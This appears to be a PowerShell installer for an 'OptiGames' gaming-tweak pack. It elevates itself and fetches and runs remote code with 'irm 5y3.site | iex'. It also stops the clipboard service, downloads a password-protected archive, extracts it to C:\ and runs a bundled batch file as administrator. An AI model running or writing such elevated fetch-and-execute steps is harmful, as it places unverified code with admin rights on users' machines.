# Admin elevation check if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { Start-Process powershell -Verb RunAs -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"irm 5y3.site | iex`"" Stop-Process -Name "WindowsTerminal" -Force -ErrorAction SilentlyContinue Stop-Process -Name "powershell" -Force -ErrorAction SilentlyContinue exit } $ProgressPreference = 'SilentlyContinue' $ErrorActionPreference = 'Stop' [Console]::BackgroundColor = 'Black' [Console]::ForegroundColor = 'White' Clear-Host $ESC = [char]27 function Write-RGB { param([string]$Text, [string]$RGB = '255,255,255', [switch]$NoNewline) $r, $g, $b = $RGB -split ',' $colored = "$ESC[38;2;${r};${g};${b}m$Text$ESC[0m" if ($NoNewline) { Write-Host $colored -NoNewline } else { Write-Host $colored } } function Write-Color { param([string]$Text, [string]$Color = 'White', [switch]$NoNewline) if ($NoNewline) { Write-Host $Text -ForegroundColor $Color -NoNewline } else { Write-Host $Text -ForegroundColor $Color } } function Write-Status { param([string]$Message, [string]$Type = 'INFO') switch ($Type) { 'INFO' { Write-Host " " -NoNewline; Write-RGB "[~] " '0,255,255' -NoNewline; Write-Color $Message 'White' } 'OK' { Write-Host " " -NoNewline; Write-RGB "[+] " '0,255,0' -NoNewline; Write-Color $Message 'White' } 'WARN' { Write-Host " " -NoNewline; Write-RGB "[!] " '255,255,0' -NoNewline; Write-Color $Message 'White' } 'ERROR' { Write-Host " " -NoNewline; Write-RGB "[x] " '255,0,0' -NoNewline; Write-Color $Message 'White' } } } function Read-HiddenText { param([string]$Prompt) Write-Host " " -NoNewline Write-RGB "> " '80,80,80' -NoNewline Write-RGB "${Prompt}: " '180,180,180' -NoNewline $text = '' while ($true) { $key = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') if ($key.VirtualKeyCode -eq 13) { Write-Host '' break } elseif ($key.VirtualKeyCode -eq 8) { if ($text.Length -gt 0) { $text = $text.Substring(0, $text.Length - 1) Write-Host -NoNewline "`b `b" } } elseif ($key.Character -eq [char]22) { $clip = Get-Clipboard -Raw if ($clip) { $clip = $clip -replace '[\r\n]+$' $text += $clip Write-RGB ('*' * $clip.Length) '255,0,255' -NoNewline } } elseif ($key.Character -ne [char]0) { $text += $key.Character Write-RGB '*' '255,0,255' -NoNewline } } return $text } function Get-PackSlug { $laptopChassisTypes = @(8, 9, 10, 11, 12, 14) try { $chassisTypes = (Get-WmiObject Win32_SystemEnclosure).ChassisTypes if (-not $chassisTypes) { throw "No chassis data returned." } foreach ($type in $chassisTypes) { if ($laptopChassisTypes -contains [int]$type) { return 'l' } } return 'd' } catch { Write-Status "Could not detect device type — please select manually." 'WARN' while ($true) { Write-Host '' Write-Host " " -NoNewline; Write-RGB "[1] " '255,0,255' -NoNewline; Write-Color "Desktop pack" 'White' Write-Host " " -NoNewline; Write-RGB "[2] " '255,0,255' -NoNewline; Write-Color "Laptop pack" 'White' Write-Host '' Write-Host " " -NoNewline; Write-RGB "> " '80,80,80' -NoNewline Write-RGB "Choose 1 or 2: " '180,180,180' -NoNewline $key = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') if ($key.Character -eq '1') { Write-RGB "1" '255,0,255'; return 'd' } if ($key.Character -eq '2') { Write-RGB "2" '255,0,255'; return 'l' } } } } $R = '255,0,0' Write-Host "" Write-RGB " ▒▓▓▓▓█ " $R Write-RGB " ▒▒▓████████ " $R Write-RGB " ▓████████████ " $R Write-RGB " ▒▓██████████████ " $R Write-RGB " ▒▓███████████████▓ " $R Write-RGB " ▓█████▓▓▓█████████▒ " $R Write-RGB " ▓████▒ ▒███████▓ " $R Write-RGB " ▒▓▓▓▓▓▓█████▓ ▒█████▓ " $R Write-RGB " ▒▓██████████████▓ ▓████▓ " $R Write-RGB " ▒███████████████████▓▒▒▓█████▓ " $R Write-RGB " ▓███████████████████████████▓▒ " $R Write-RGB " ████████████████████████████▒ " $R Write-RGB " ▒▒▒▒▓▓████████████████ " $R Write-RGB " ▓▓████████████ " $R Write-RGB " ▒▓▓ ▓██████████ " $R Write-RGB " ▒███ ▒▓▒ ▒█████████ " $R Write-RGB " ▒██▓ ▓██▓ ▒███████▓ " $R Write-RGB " ▒█▓▒ ▒███▓ ▒▓▓ ▒██████ " $R Write-RGB " ▓███▒ ▒██▓ █████▒ " $R Write-RGB " ▒███▓ ▓█▓▒ ███▒ " $R Write-RGB " ██▓▒ ▓█▒ ▒▒ " $R Write-RGB " ▒▒ ▒ " $R Write-RGB " " $R Write-Host "" Write-Color " OPTIGAMES PACK INSTALLER" 'White' Write-RGB " ──────────────────────────" '60,60,60' Write-Host "" $slug = Get-PackSlug $packLabel = if ($slug -eq 'l') { 'Laptop' } else { 'Desktop' } Write-Status "Detected: $packLabel" 'OK' $password = Read-HiddenText 'Enter file password' $downloadUrl = "https://d.5y3.site/$slug" $tempDir = Join-Path $env:TEMP ("5y3-pack-" + [guid]::NewGuid().ToString('N')) $archivePath = Join-Path $tempDir 'package.7z' $7zipInstaller = Join-Path $env:TEMP '7zip-installer.exe' $7zipExe = 'C:\Program Files\7-Zip\7z.exe' New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Write-Host "" Write-RGB " ──────────────────────────" '60,60,60' Write-Host "" try { $cbdServices = Get-Service -Name "cbdhsvc*" -ErrorAction SilentlyContinue foreach ($svc in $cbdServices) { try { $result = & sc.exe stop $svc.Name 2>&1 if (-not ($LASTEXITCODE -eq 0 -or $result -match "STOP_PENDING|STOPPED")) { Write-Status "Skipping service '$($svc.Name)': $result" 'WARN' } } catch { Write-Status "Skipping service '$($svc.Name)': $($_.Exception.Message)" 'WARN' } } if (Test-Path $7zipExe) { Write-Status "7-Zip already installed, skipping..." 'INFO' } else { Write-Status "Installing 7-Zip..." 'INFO' Invoke-WebRequest -Uri "https://www.7-zip.org/a/7z2301-x64.exe" -OutFile $7zipInstaller Start-Process -Wait $7zipInstaller -ArgumentList "/S" Write-Status "7-Zip installed." 'OK' } Write-Status "Downloading pack..." 'INFO' Add-Type -AssemblyName System.Web $password = $password.Trim() $encodedPassword = [System.Web.HttpUtility]::UrlEncode($password) $curlArgs = @( '-s', '-X', 'POST', '-H', 'Content-Type: application/x-www-form-urlencoded', '-d', "itemPassword=$encodedPassword", '-o', $archivePath, '-w', '%{http_code}', $downloadUrl ) $httpCode = & curl.exe @curlArgs if ($LASTEXITCODE -ne 0) { throw "Download failed (curl exit code $LASTEXITCODE)." } if ($httpCode -ne '200') { $content = Get-Content $archivePath -Raw -ErrorAction SilentlyContinue throw "Server returned HTTP $httpCode.`n$content" } $archiveSize = (Get-Item $archivePath).Length if ($archiveSize -lt 10240) { $content = Get-Content $archivePath -Raw -ErrorAction SilentlyContinue throw "Downloaded file too small ($archiveSize bytes).`n$content" } Write-Status "Download complete." 'OK' Write-Status "Extracting to C:\..." 'INFO' & $7zipExe x $archivePath -o"C:\" -p"$password" -y | Out-Null if ($LASTEXITCODE -ne 0) { $fileContent = Get-Content $archivePath -Raw -ErrorAction SilentlyContinue throw "7-Zip extraction failed (exit code $LASTEXITCODE).`n$fileContent" } Write-Status "Done! Extracted to C:\" 'OK' Write-Host "" Write-RGB " ──────────────────────────" '60,60,60' Write-Host "" Write-Status "Unblocking files..." 'INFO' Start-Process "conhost.exe" -ArgumentList "cmd.exe /c `"C:\OptiGames Pack\-Temp-\Unblock Files.bat`"" -Verb RunAs Stop-Process -Name "WindowsTerminal" -Force -ErrorAction SilentlyContinue | Out-Null Stop-Process -Name "powershell" -Force -ErrorAction SilentlyContinue | Out-Null } catch { Write-Host "" Write-Status $_.Exception.Message 'ERROR' Write-Host "" } finally { if (Test-Path $tempDir) { Remove-Item $tempDir -Recurse -Force -ErrorAction SilentlyContinue } if (Test-Path $7zipInstaller){ Remove-Item $7zipInstaller -Force -ErrorAction SilentlyContinue } }